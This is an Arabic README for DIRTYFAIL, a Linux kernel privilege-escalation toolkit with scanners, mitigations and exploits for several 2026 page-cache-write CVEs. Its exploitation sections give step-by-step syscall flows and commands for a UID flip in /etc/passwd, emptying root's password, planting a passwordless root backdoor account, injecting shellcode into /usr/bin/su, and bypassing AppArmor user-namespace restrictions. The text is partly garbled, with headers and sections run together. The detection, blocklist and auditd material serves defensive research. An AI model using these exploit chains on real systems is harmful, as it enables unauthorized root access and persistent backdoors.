┌──────────────────────────────────────────────────────────────────────┐ │ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │ │ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │ │ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │ │ fcrypt.c rxkad cipher (56-bit Feistel) │ │ backdoor.c persistent /etc/passwd line overwrite │ └──────────────────────────────────────────────────────────────────────┘
**قرارات تصميم رئيسية:**
- **الفصل الخارجي/الداخلي**: كل استغلال يولّد عملية فرعية للعمل في النواة
تبقى العملية الأم في نطاق init حتى يصل الاستدعاء النهائي `execlp("su",
user)` يصل إلى جذر init-ns الحقيقي. انظر [§8.5
البنية](#85-architecture-outerinner-fork-based-bypass).
- **ذاكرة التخزين المؤقت للصفحات عامة**: العملية الفرعية تكتب من داخل userns الالتفافي الخاص بها،
وتقرأ العملية الأم من init ns; تظهر نفس البايتات.
- **متغيرات البيئة تنقل الحالة من العملية الأم إلى الفرعية**: `DIRTYFAIL_INNER_MODE`,
`DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc),
`DIRTYFAIL_LINE_OFF` إلخ. (الباب الخلفي). يحافظ `execv` على
البيئة عبر انتقالات المراحل.
- **مرافق دفاعي**: `--mitigate` ينشر نفس قوائم الحظر +
تحصين sysctl الذي توفره التوزيعات كتخفيفات رسمية.
يكتشف `--scan` عندما تكون الصلاحيات محجوبة بواسطة LSM ويبلّغ
"تم التخفيف" بدلاً من القول المضلل "تم استيفاء شروط الثغرة".
---
## 5. البناء
### المتطلبات الأساسية
* **لينكس** (هذا الثنائي يعمل على لينكس فقط عند التشغيل).
* `gcc` أو `clang`، و`make`.
* رؤوس UAPI الخاصة بلينكس — تحديدًا `<linux/xfrm.h>`, `<linux/netlink.h>`,
`<linux/rtnetlink.h>`, `<linux/if.h>`.
| التوزيعة | التثبيت |
|-------------------|------------------------------------------------------|
| Debian / Ubuntu | `sudo apt install build-essential linux-libc-dev` |
| RHEL / CentOS | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora | `sudo dnf install gcc make kernel-headers` |
| Arch | `sudo pacman -S base-devel` |
### أوامر البناء```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make # release build → ./dirtyfail
make debug # -O0 -g3 for gdb
make static # static link (musl-gcc recommended)
make clean
البناء الافتراضي ينتج ملفًا ثنائيًا واحدًا بحجم ~80 كيلوبايت في ./dirtyfail.
للحصول على بناء محمول يعمل على أي Linux متوافق مع النواة دون
انجراف تبعيات glibc:```sh
make static CC=musl-gcc
(ثبّت `musl-tools` على Debian/Ubuntu، أو ابنِ musl من المصدر).
---
## 6. الاستخدام
`./dirtyfail --help` هو المرجع الأساسي؛ فيما يلي الأوضاع مصنّفة حسب الفئة:
**الكشف (آمن؛ لا تعديل على النظام):**
| الوضع | ماذا يفعل |
|---|---|
| `--scan` | تشغيل كل المكتشفات الخمسة (الوضع الافتراضي) |
| `--scan --active` | إضافة مسبار STORE بملف حارس (sentinel-file) لكل CVE — يميّز بين توفّر الشروط المسبقة والثغرة القابلة للاستغلال فعليًا |
| `--scan --json` | إخراج كائن JSON واحد على stdout (مناسب لأنظمة SIEM)؛ تُرسل السجلات إلى stderr |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | كشف لكل CVE فقط |
**الاستغلال (يخضع لتأكيد كتابي؛ يفسد ذاكرة التخزين المؤقت لصفحات `/etc/passwd`):**
| الوضع | ماذا يفعل |
|---|---|
| `--exploit-copyfail` | قلب UID عبر أولية `algif_aead` ذات 4 بايت |
| `--exploit-esp` | قلب UID عبر xfrm-ESP v4 (يتطلب userns+CAP_NET_ADMIN) |
| `--exploit-esp6` | قلب UID عبر xfrm-ESP v6 |
| `--exploit-rxrpc` | إفراغ حقل كلمة مرور الجذر عبر تخمين عنيف rxkad fcrypt |
| `--exploit-gcm` | قلب UID عبر أولية `rfc4106(gcm(aes))` ذات بايت واحد |
| `--exploit-backdoor` | دائم: إدراج `dirtyfail::0:0:...:/:/bin/bash` |
| `--exploit-su` | على نمط V4bel: زرع شيلكود خاص بالمعمارية عند نقطة دخول `/usr/bin/su`. تم اختبار x86_64 بالكامل؛ يأتي aarch64 دون اختبار على العتاد (مقيّد خلف `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`) |
**التنظيف / فحص الحالة:**
| الوضع | ماذا يفعل |
|---|---|
| `--cleanup` | إخراج `/etc/passwd` من ذاكرة التخزين المؤقت للصفحات (`fadvise` + `drop_caches` إذا كنت root) |
| `--cleanup-backdoor` | استعادة سطر `/etc/passwd` الأصلي من ملف الحالة |
| `--cleanup-su` | استعادة بايتات نقطة دخول `/usr/bin/su` من ملف الحالة |
| `--list-state` | الإبلاغ عمّا هو مزروع حاليًا (إن وُجد)؛ دون أي آثار جانبية |
**الدفاع (يتطلب صلاحيات root):**
| الوضع | ماذا يفعل |
|---|---|
| `--mitigate` | حظر الوحدات `algif_aead`/`esp4`/`esp6`/`rxrpc`؛ ضبط `apparmor_restrict_unprivileged_userns=1`؛ تنفيذ drop_caches. الآثار الجانبية: يكسر IPsec وAFS |
| `--cleanup-mitigate` | إزالة ملفات modprobe/sysctl التي ثبّتها `--mitigate` |
**خيارات عامة:**
| الخيار | التأثير |
|---|---|
| `--no-shell` | بعد استغلال ناجح، لا تنفّذ `execve su` — تحقق وأعد الحالة |
| `--no-revert` | مع `--no-shell`، تخطَّ أيضًا الإعادة التلقائية (يُستخدم في عرض الهروب من الحاوية) |
| `--active` | إضافة مسبارات sentinel-STORE نشطة إلى `--scan`/`--check-*` |
| `--json` | (مع `--scan`) إخراج قابل للقراءة آليًا |
| `--no-color` | تعطيل ألوان ANSI |
| `--aa-bypass` | (للتصحيح فقط) فرض تجاوز AppArmor لمساحات userns غير المميزة — تقوم الثغرات بذلك داخليًا، انظر §8.5 |
### أمثلة على الكشف
فحص بسيط (الشروط المسبقة فقط — سريع، ~1 ثانية):```sh
./dirtyfail --scan
مسبار حارس نشط لكل CVE (~10 ثوانٍ، يعدّل الملفات الحارسة في /tmp فقط):```sh
./dirtyfail --scan --active
JSON لاستيعاب SIEM/الأسطول:```sh
$ ./dirtyfail --scan --active --json
{
"tool": "dirtyfail",
"version": "0.1.0",
"hostname": "server-01",
"kernel": "6.19.10-300.fc44.x86_64",
"machine": "x86_64",
"active_probes": true,
"results": [
{"cve": "CVE-2026-31431", "name": "copyfail", "status": "vulnerable"},
{"cve": "CVE-2026-43284", "name": "dirtyfrag-esp", "status": "vulnerable"},
{"cve": "CVE-2026-43284-v6", "name": "dirtyfrag-esp6", "status": "vulnerable"},
{"cve": "CVE-2026-43500", "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
{"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm", "status": "vulnerable"}
],
"summary": "vulnerable"
}
قيم الحالة: vulnerable, not_vulnerable, preconds_missing,
test_error. يعكس الملخص أسوأ حالة عبر النتائج.
./dirtyfail --exploit-copyfail # UID-flip + drop into root via su ./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry ./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe)
كل استغلال يطالب بإدخال `DIRTYFAIL` + (حيثما ينطبق)
`YES_BREAK_SSH` قبل أي تعديل على ذاكرة التخزين المؤقت للصفحات.
### فحص الحالة + التنظيف```sh
./dirtyfail --list-state # what's currently planted? (side-effect free)
./dirtyfail --cleanup # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su # restore /usr/bin/su from .dirtyfail-su.state
أو المرور مباشرة إلى النواة:```sh sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
---
## 7. كيف يكتشف DIRTYFAIL كل ثغرة من ثغرات CVE
### Copy Fail (استطلاع حارس نشط)
الاكتشاف يقوم فعليًا بتشغيل البدائية ضد ملف حارس في
`/tmp`:
1. استطلاع `socket(AF_ALG, SOCK_SEQPACKET, 0)` ثم `bind` إلى
`authencesn(hmac(sha256), cbc(aes))`.
2. إنشاء ملف حارس بحجم 4 KiB في `/tmp` وإدخال صفحته الأولى
إلى الذاكرة المؤقتة (cache).
3. تشغيل بدائية الاستغلال الكاملة ضده: `sendmsg` لـ AAD مع
`seqno_lo = "PWND"`، و splice لـ 32 بايت من الملف الحارس إلى مقبس
AF_ALG op، ثم تشغيل `recv` لإطلاق الكتابة غير المقصودة (scratch write).
4. إعادة قراءة الملف الحارس والبحث عن `PWND` في أي مكان في الصفحة
الأولى.
وجود العلامة ⇒ ثغرة قابلة للاستغلال. غياب العلامة لكن محتوى الصفحة مختلف ⇒
البدائية اشتغلت جزئيًا (ما زالت ثغرة). الصفحة مطابقة تمامًا ⇒
ليست ثغرة على هذا النواة.
### Dirty Frag xfrm-ESP (قائم على الشروط المسبقة — أو نشط مع `--active`)
الوضع الافتراضي `--scan` يعتمد على الشروط المسبقة فقط — نحن لا ندخل إلى
مساحة مستخدم (user namespace) في وضع الكشف (لأن ذلك سيؤثر على الشبكات داخل
تلك المساحة). نتحقق من:
* إصدار النواة ضمن النطاق المتأثر
* أن `esp4` / `esp6` محمَّل حاليًا أو قابل للتحميل التلقائي
* نجاح إنشاء مساحة مستخدم غير ممتازة (يُستطلع عبر fork ←
child `unshare(CLONE_NEWUSER)`)
* أن AppArmor `apparmor_userns_caps_blocked()` يُرجع false
توفر جميع الشروط الأربعة ⇒ VULNERABLE (الشروط المسبقة مستوفاة).
`--scan --active` يوسّع هذا باستطلاع تخزين حارس (sentinel-STORE): ننشئ fork
لطفل يفعّل تجاوز AA، ويدخل إلى مساحة مستخدم/شبكة جديدة، ويسجّل SA من نوع
XFRM، ويُطلق مشغّل ESP-in-UDP ضد ملف حارس
`/tmp/dirtyfail-esp-probe.XXXXXX`. الأب يعيد قراءة
الملف الحارس ويبحث عن بايتات العلامة:
* العلامة وصلت → STORE في النواة قابل للوصول → **VULNERABLE**
* الصفحة سليمة → تصحيح النواة ساري المفعول → **NOT VULNERABLE**
* تجاوز AA مرفوض → **PRECOND_FAIL** (مخفَّف بواسطة LSM)
هذه هي الطريقة الوحيدة للتمييز بين نواة مطبَّق عليها التصحيح الخلفي (backported-patched)
ونواة غير مصحّحة دون تشغيل استغلال قلب UID الكامل
ضد `/etc/passwd`. النمط نفسه يُستخدم لـ ESP v6 و RxRPC
و GCM تحت `--active`.
### Dirty Frag RxRPC (قائم على الشروط المسبقة — أو نشط مع `--active`)
الشروط المسبقة:
* `rxrpc` في `/proc/modules` أو قابل للتحميل التلقائي
* نجاح `socket(AF_RXRPC, SOCK_DGRAM, 0)`
الاستطلاع النشط (`--active`): ينشئ fork عبر تجاوز AA، ويسجّل مفتاح جلسة
rxrpc بقيمة عشوائية من 8 بايتات، ويرسل تزويرًا واحدًا من نوع CHALLENGE +
DATA ضد ملف حارس في `/tmp`، ثم يبحث عن أي تغيير في البايتات داخل نافذة
الـ 8 بايتات المقتطَعة (spliced). لا نحاول توقع ما وقع —
أي تعديل يؤكد أن STORE في النواة يعمل.
### Copy Fail متغيّر GCM + ESP v6 — بنفس الشكل
الاستطلاع النشط لمتغيّر GCM يثبّت SA بوضع النقل (transport-mode) مع
IV عشوائي ويُطلق `gcm_trigger` ضد ملف حارس في `/tmp`؛ أي تغيير
في البايتات عند sentinel[0] يؤكد إمكانية الوصول. استطلاع ESP v6 أيضًا
يقوم بمعايرة ذاتية لـ `V6_STORE_SHIFT` حسب بناء النواة (انظر
`calibrate_v6_shift` في `src/dirtyfrag_esp6.c`) — اختلافات توزيعات
`esp6_input` تضع STORE على إزاحات مختلفة قليلًا
داخل المنطقة المقتطَعة، واستطلاع المعايرة يكتشف
الإزاحة الدقيقة قبل إطلاق الاستغلال الفعلي.
---
## 8. كيف يستغل DIRTYFAIL كل ثغرة من ثغرات CVE
### استغلال Copy Fail (`copyfail.c`)
STORE واحدة من 4 بايتات عبر `algif_aead`:```
[/etc/passwd page cache]
user ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
──recv()─────────────────────▶ kernel runs authencesn_decrypt
scratch write: "0000" → uid_off
EBADMSG returned to user (we ignore)
user ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..." ◄─ page cache
user ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
─────► root shell
dirtyfrag_esp.c)نفس الحالة النهائية كما في Copy Fail، يتم الوصول إليها عبر xfrm_input بدلاً من algif_aead:```
[/etc/passwd page cache]
unshare(USER|NET); setup uid_map; ifup lo
NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel
udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP
udp_send connect 127.0.0.1:4500
vmsplice ESP wire header (24B) ─▶ pipe
splice /etc/passwd@uid_off (16B) ─▶ pipe
splice pipe (40B) ─▶ udp_send
udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input
skb has frags, no frag_list ─▶ goto skip_cow (THE BUG)
crypto_authenc_esn_decrypt:
scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE
AEAD auth fails (EBADMSG) — but the STORE is permanent
page-cache copy of /etc/passwd now reports uid 0 for the user
ثم اخرج من مساحة الأسماء، `execlp("su", user)` من العملية الأم — نفس
الخطوة النهائية كما في Copy Fail.
### استغلال Dirty Frag RxRPC (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
[/etc/passwd page cache]
user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
produces predicate-satisfying plaintexts for offsets 4, 6, 8
(chained-ciphertext correction across passes)
fork → child enters new userns:
unshare(USER|NET); setup uid_map; ifup lo
socket(AF_RXRPC) — autoload rxrpc.ko
for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
udp_srv = bind 127.0.0.1:port_S
rxsk = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
rxsk → sendmsg(PINGPING) triggers handshake init
udp_srv ← receives kernel's first DATA-0
extract (epoch, cid, callNumber)
udp_srv → forged CHALLENGE → rxsk auto-RESPONSE
primes conn->rxkad.cipher with K
csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
vmsplice DATA hdr (28B) → pipe
splice /etc/passwd@off (8B) → pipe
splice pipe (36B) → udp_srv
udp loopback → rxsk
recvmsg → rxrpc_input → rxkad_verify_packet
skb has frags, no frag_list → goto skip_unshare (THE BUG)
skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
crypto_skcipher_decrypt: pcbc(fcrypt)
page[off..off+8] = fcrypt_decrypt(C_actual, K) ◄─ 8-byte STORE
child exits, parent verifies /etc/passwd[4..5] == "::"
parent: execlp("su", "-")
PAM common-auth: pam_unix.so nullok → root has empty password
su → setresuid(0,0,0) → exec /bin/bash
─────► root shell
--exploit-su حقن شيلكود (exploit_su.c)سلسلة هجوم ثانية خالية من /etc/passwd، مستندة إلى الاستغلال المرجعي لـ V4bel.
بدلاً من تعديل ذاكرة التخزين المؤقت للصفحات الخاصة بـ /etc/passwd، نقوم بزرع
شيلكود خاص ببنية المعالج عند نقطة دخول ELF الخاصة بـ /usr/bin/su في
ذاكرة التخزين المؤقت للصفحات الخاصة به؛ وفي المرة التالية التي ينفّذ فيها أي شخص /usr/bin/su، يقوم النواة
بتعيين euid=0 من بت setuid الموجود على القرص، ثم يقوم المحمّل الديناميكي
بالحل، وينتقل التحكم إلى شيلكود الخاص بنا ← /bin/sh كجذر
حقيقي في init-ns. لا اعتماد على PAM، ويتجاوز إزالة pam_unix nullok
بالكامل.```
parent (init ns)
│ stat /usr/bin/su; verify setuid+root
│ parse ELF header; resolve e_entry → file offset
│ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state
│ for each 4-byte chunk of shellcode:
│ cf_4byte_write("/usr/bin/su", file_offset+i, chunk)
│ pread() back; verify match
│ if --no-shell:
│ plant_shellcode(original) # revert via re-write
│ fadvise(DONTNEED) on a new fd # evict if possible
│ else:
│ execl("/usr/bin/su", "su", NULL) ─►
│ kernel exec /usr/bin/su (setuid root)
│ ld-linux.so resolves
│ jumps to e_entry → our shellcode
│ setuid(0); setgid(0);
│ execve("/bin/sh", argv, NULL)
▼ ────► root shell
مصفوفة البنى:
* **x86_64 (56 bytes, 14 chained 4-byte writes)** — تم اختباره من البداية إلى النهاية على Fedora 44 (`uid=0(root) gid=0(root) ...
context=unconfined_u:unconfined_r:unconfined_t`). الشيلكود في
`shellcode_x86_64[]`.
* **aarch64 (80 bytes, 20 instructions)** — تم ترميزه يدويًا من مرجع ARMv8-A، **لم يُنفَّذ أبدًا على عتاد حقيقي**. مُقيَّد خلف
`DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. يأتي المصدر في
`tools/exploit_su_aarch64.S` للتحقق المجتمعي — قم بتجميعه
باستخدام `aarch64-linux-gnu-as` وتأكد من أن تسلسل البايتات يطابق
`shellcode_aarch64[]`.
* أي شيء آخر → preconds_fail.
يقوم ملف الحالة `/var/tmp/.dirtyfail-su.state` بتخزين البايتات الأصلية لنقطة الدخول بحيث يمكن لـ `--cleanup-su` استعادتها. يفحص `--list-state`
هذا الملف (وملف الباب الخلفي) دون لمس أي شيء.
إذا وجدت خطوة التحقق أن ذاكرة التخزين المؤقت للصفحات لا تطابق الشيلكود المزروع (النواة مُصححة، AF_ALG مدرج في القائمة السوداء، إلخ)،
يتم تشغيل التراجع التلقائي فورًا وتتم إزالة ملف الحالة — ولا حاجة للمشغل لتشغيل cleanup-su بعد ذلك.
---
## 8.5 البنية: التجاوز القائم على fork الخارجي/الداخلي
تشترك جميع أوضاع الاستغلال الخمسة في بنية مشتركة للتعامل مع سياسة Ubuntu `apparmor_restrict_unprivileged_userns=1` دون حصر `su` بعد الاستغلال داخل userns حيث لا يمكنه الوصول إلى جذر init-ns الحقيقي.
### المشكلة
يضع التجاوز الساذج *عملية* `dirtyfail` بالكامل داخل مساحة مستخدم جديدة عبر `unshare(CLONE_NEWUSER)`. هذا كافٍ لتسجيل XFRM SAs وتشغيل مشغلات splice — ولكنه يعني أيضًا أن `execlp("su", user)` النهائي يعمل داخل userns، حيث يتم تعيين uid 0 عبر `uid_map "0 1000 1"` إلى uid الخارجي للمشغل (1000). عندها يصل `setresuid(0)` الخاص بـ PAM إلى userns-uid-0-المُعيّن-إلى-1000، وهو **ليس** جذر init-ns الحقيقي — فـ `cat /etc/shadow` يُرجع EACCES، ولا تستطيع الصدفة فعليًا تنفيذ عمليات مُميَّزة.
### الحل: الانقسام الخارجي/الداخلي```
parent (dirtyfail, init ns) child (bypass userns)
───────────────────────── ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
execv self ─► STAGE-1
execv self ─► STAGE-2
unshare(USER|NET)
uid_map / capset
ifup lo
main() detects INNER_MODE
dispatch <mode>_inner()
register XFRM SA
splice trigger → page cache STORE
_exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
execlp("su", user) ← runs IN INIT NS
PAM auth → setresuid(0)
→ REAL init-ns root shell
else:
try_revert_passwd_page_cache
العملية الأب لا تدخل أبدًا إلى مساحة اسم مستخدم (user namespace). الطفل هو من يقوم بعمل الالتفاف + عمل النواة، ويعدّل ذاكرة التخزين المؤقت العامة للصفحات (والتي تكون مشتركة عبر مساحات الأسماء — وهي "الجسر" الوحيد الذي نحتاجه)، ثم يخرج. بعد ذلك، يكون استدعاء su في العملية الأب مجرد استدعاء setresuid عادي في مساحة اسم init.
يحافظ execv على البيئة، لذلك تخزّن العملية الأب معاملات العملية في متغيرات بيئة قبل استدعاء fork. كل وضع يعرّف متغيراته الخاصة:
بعد اكتمال المرحلة 2 من الالتفاف، تتحقق main() من DIRTYFAIL_INNER_MODE وتُوجّه التنفيذ إلى <mode>_exploit_inner(). الوظيفة الداخلية لا تقوم إلا بعمل النواة فقط (بدون مطالبات، بدون fork، بدون su) وتخرج برمز النتيجة. تستردّها العملية الأب عبر waitpid ثم تتابع التحقق.
تسبّبت رقصة القفزتين السابقة (change_onexec("crun") ← change_onexec("chrome")) في أعطال متقطعة من نوع ENOSPC على Ubuntu 24.04 في سلسلة exec لدينا (على الأرجح بسبب تفصيلة محاسبية خاصة بالملف الشخصي في userns). القفزة الواحدة إلى crun كافية — ملف AppArmor الخاص بـ crun يحتوي على flags=(unconfined) وإذن userns, صريح، لذلك ينجح unshare ويبقى ناجحًا.
بعد اكتمال المرحلة 2 بنجاح، يتم تعيين علم محلي للعملية باسم g_bypass_done. إذا تم استدعاء apparmor_bypass_needed() مرة أخرى في نفس العملية، فإنها تُقصِر المسار وتُرجع false، مما يمنع كود ما بعد الاستغلال من إعادة التجهيز وتداخل طبقة userns أخرى (والتي كانت تصل سابقًا إلى الحد الأقصى لتداخل userns على شكل ENOSPC).
--aa-bypass أصبح الآن علمًا للتصحيح فقطفي البنية القديمة، كان --aa-bypass يجهّز التفافًا على مستوى العملية بالكامل قبل إرسال الاستغلال. في البنية الجديدة، تنفّذ أوضاع الاستغلال التفافها الخاص المبني على fork داخليًا؛ ولم يعد العلم ضروريًا للاستخدام العادي. وهو مُبقى لتصحيح آليات الالتفاف بشكل معزول (مثل تشغيل --scan داخل userns ملتفّ حوله)، مع تحذير من أنه قد يكسر su بعد الاستغلال.
a664bf3d؛ وصلت النسخ الرجعية (backports) إلى خطوط الإصدارات المستقرة 6.12 / 6.17 / 6.18.algif_aead في القائمة السوداء: ```sh
echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf
sudo rmmod algif_aead 2>/dev/null
⚠ ملاحظة: هذا لا يخفف من Dirty Frag. يصل مسار xfrm-ESP إلى نفس البدائية authencesn دون المرور عبر algif_aead.
f4c50a4034e6 (مدمجة بتاريخ 2026-05-07). النُسخ الخلفية للتوزيعات بدأت بالصدور اعتبارًا من 2026-05-08.esp4 وesp6 في القائمة السوداء: ```sh
sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF'
install esp4 /bin/false
install esp6 /bin/false
EOF
sudo rmmod esp4 esp6 2>/dev/null
sudo sysctl vm.drop_caches=3
⚠ هذا يعطّل شبكات VPN الخاصة بـ IPsec / strongSwan / libreswan. 3. الدفاع في العمق: منع مساحات أسماء المستخدمين غير المميّزة. يقوم Ubuntu بذلك افتراضيًا عبر AppArmor؛ على التوزيعات الأخرى: ```sh sudo sysctl -w kernel.unprivileged_userns_clone=0
### Dirty Frag RxRPC (CVE-2026-43500)
1. **لا توجد رقعة من upstream بعد.** رقعة الباحث على قائمة lkml؛ غير مدمجة
وقت كتابة هذا (2026-05-08).
2. **إجراء مؤقت**: احظر `rxrpc`: ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3
⚠ هذا يكسر عملاء نظام الملفات الموزعة AFS. معظم الخوادم لا تحتاج إلى rxrpc.
sudo sh -c ' cat > /etc/modprobe.d/dirtyfail.conf <<EOF install algif_aead /bin/false install esp4 /bin/false install esp6 /bin/false install rxrpc /bin/false EOF rmmod algif_aead esp4 esp6 rxrpc 2>/dev/null sysctl vm.drop_caches=3 '
### أو استخدم `dirtyfail --mitigate`
نفس مجموعة التخفيفات مغلّفة في وضع دفاعي مُقيَّد
بتأكيد مكتوب:```sh
sudo ./dirtyfail --mitigate
يضع هذا الملفات في /etc/modprobe.d/dirtyfail-mitigations.conf و /etc/sysctl.d/99-dirtyfail-mitigations.conf، ويزيل الوحدات الأربع، وينفّذ drop_caches. تتم الاستعادة عبر sudo ./dirtyfail --cleanup-mitigate. الآثار الجانبية: تعطيل IPsec، وعملاء AFS، وأي برامج مستخدم تستخدم AF_ALG AEAD. راجع docs/DEFENDERS.md للحصول على الدليل الكامل لمسؤولي الأنظمة.
dirtyfail --scan --active (اختبار sentinel-STORE كامل) أو dirtyfail --scan --active --json لاستيعاب SIEM/fleet. نسخة bash من tools/dirtyfail-check.sh لا تتطلب أي تبعيات بناء.tools/99-dirtyfail.rules هي مجموعة قواعد auditd جاهزة للإدراج تغطي مسارات استدعاءات النظام الخمسة التي تستخدمها سلسلة الاستغلال (تسجيل XFRM netlink، add_key("rxrpc")، unshare(CLONE_NEWUSER)، إنشاء مقبس AF_ALG، كتابات /etc/passwd//etc/shadow). ثبّتها باستخدام: ```sh
sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/
sudo augenrules --load && sudo systemctl restart auditd
tools/dirtyfail-container-escape.sh أن ذاكرة التخزين المؤقت لصفحات
النواة مشتركة عبر مساحات الأسماء — وهو مفيد لشرح التأثير العابر
بين المستأجرين (cross-tenant) لمشغلي الأنظمة.DIRTYFAIL أداة بحثية. الثغرات التي تغطيها مُفصح عنها علنًا بالفعل
مع PoCs مسلّحة منتشرة في البرية
(انظر الإسناد) — يضيف DIRTYFAIL تغطية للكشف،
وتوثيقًا موحدًا، ومتغير PoC أكثر لطفًا (قلب UID مقابل الكتابة
فوق ELF لـ /usr/bin/su).
--exploit-* على أنظمة لا تملكها أو غير
مصرح لك صراحةً باختبارها. تعديلات ذاكرة التخزين المؤقت للصفحات
قابلة للعكس عبر drop_caches، لكنها تظل تصعيدًا للامتيازات
ما دامت قائمة./tmp ويستدعي واجهة برمجة تطبيقات التشفير الخاصة بالنواة.هذه الميزات الثلاث توسّع DIRTYFAIL بتقنيات نُشرت لأول مرة
بواسطة 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo. أُعيد تنفيذها
بأسلوب DIRTYFAIL؛ الإسناد الأصلي موجود في NOTICE.md.
نفس مسار xfrm-ESP no-COW الخاص بـ CVE-2026-43284، لكن باستخدام
rfc4106(gcm(aes)) بدلاً من authencesn(...). وهناك سببان
يجعلانه جديرًا بالشحن إلى جانب متغير authencesn:
algif_aead في القائمة السوداء للتخفيف
من Copy Fail (CVE-2026-31431) لا يزال معرّضًا للخطر هنا — مسار GCM
لا يمر عبر algif_aead.البدائية ذات البايت الواحد (cfg_1byte_write) هي ما يجعل
وضع الباب الخلفي الدائم ممكنًا.
--exploit-backdoor يختار أطول سطر في /etc/passwd تكون صدفته
ضمن {nologin, false, sync} ويكتب فوقه بايتًا ببايت باستخدام
dirtyfail::0:0:<pad>:/:/bin/bash (مطابق للطول). بعد التثبيت،
su - dirtyfail من أي مستخدم يمنح صدفة جذر — دون طلب كلمة مرور —
لأن pam_unix.so nullok يقبل حقل كلمة المرور الفارغ.
اسم المستخدم dirtyfail موسوم عمدًا بهذا المشروع بحيث يكون
سهل الكشف في أي تدقيق لاحق — المدافعون الذين يشغّلون
grep dirtyfail /etc/passwd (أو أي HIDS يفعل الأمر نفسه) سيرصدون
السطر فورًا. إذا احتجت معرّفًا مختلفًا لتمرين فريق أحمر محدد،
غيّر NEW_USER وDF_PREFIX في src/backdoor.c.
الملف الموجود على القرص يبقى دون تغيير؛ الاستبدال يحدث في ذاكرة
التخزين المؤقت للصفحات فقط. يستعيد --cleanup-backdoor السطر الأصلي
عبر نفس البدائية.
يأتي Ubuntu 24.04+ مع تفعيل apparmor_restrict_unprivileged_userns=1.
الملف الشخصي الافتراضي المطبَّق على الملفات الثنائية غير المميزة
يسمح لـunshare(USER) بالنجاح لكنه ينزع CAP_NET_ADMIN في مساحة
الاسم الجديدة. عندها يفشل تسجيل XFRM SA بصمت.
التجاوز: اكتب "exec crun" إلى /proc/self/attr/exec ثم نفّذ
execv للانتقال إلى الملف الشخصي crun الخاص بـ AppArmor،
الذي يملك flags=(unconfined) وإذن userns, صريحًا. بعد
exec، ينجح unshare(CLONE_NEWUSER | CLONE_NEWNET) مع صلاحيات
كاملة داخل مساحة الاسم الجديدة.
يتعامل DIRTYFAIL مع هذا لكل وضع استغلال عبر fork: يبقى الأب
في مساحة اسم init، وينفذ الابن التجاوز + عمل النواة، ويقرأ الأب
ذاكرة التخزين المؤقت العامة للصفحات ويشغّل su للحصول على جذر
init-ns الحقيقي. انظر §8.5 البنية
للسلسلة الكاملة. العلم القديم --aa-bypass (الذي كان يفعّل
التجاوز للعملية بأكملها) محفوظ لأغراض التصحيح فقط.
التقنية الأصلية من aa-rootns.c بواسطة 0xdeadbeefnetwork
(مُنسب هناك إلى Brad Spengler / grsecurity). تنفيذ DIRTYFAIL:
kernel.apparmor_restrict_unprivileged_userns بدلاً من
قراءة /proc/self/attr/current (الذي لا يزال يعرض
"unconfined" على Ubuntu 24.04 حتى عندما تكون السياسة مقيدة).crun بدلاً من رقصة القفزتين
crun → chrome — القفزة الثانية سبّبت ENOSPC متقطعًا
على Ubuntu 24.04.g_bypass_done بعد المرحلة 2 بحيث
تُختصر إعادة الفحوص (short-circuit)، مانعًا حلقات إعادة exec اللانهائية
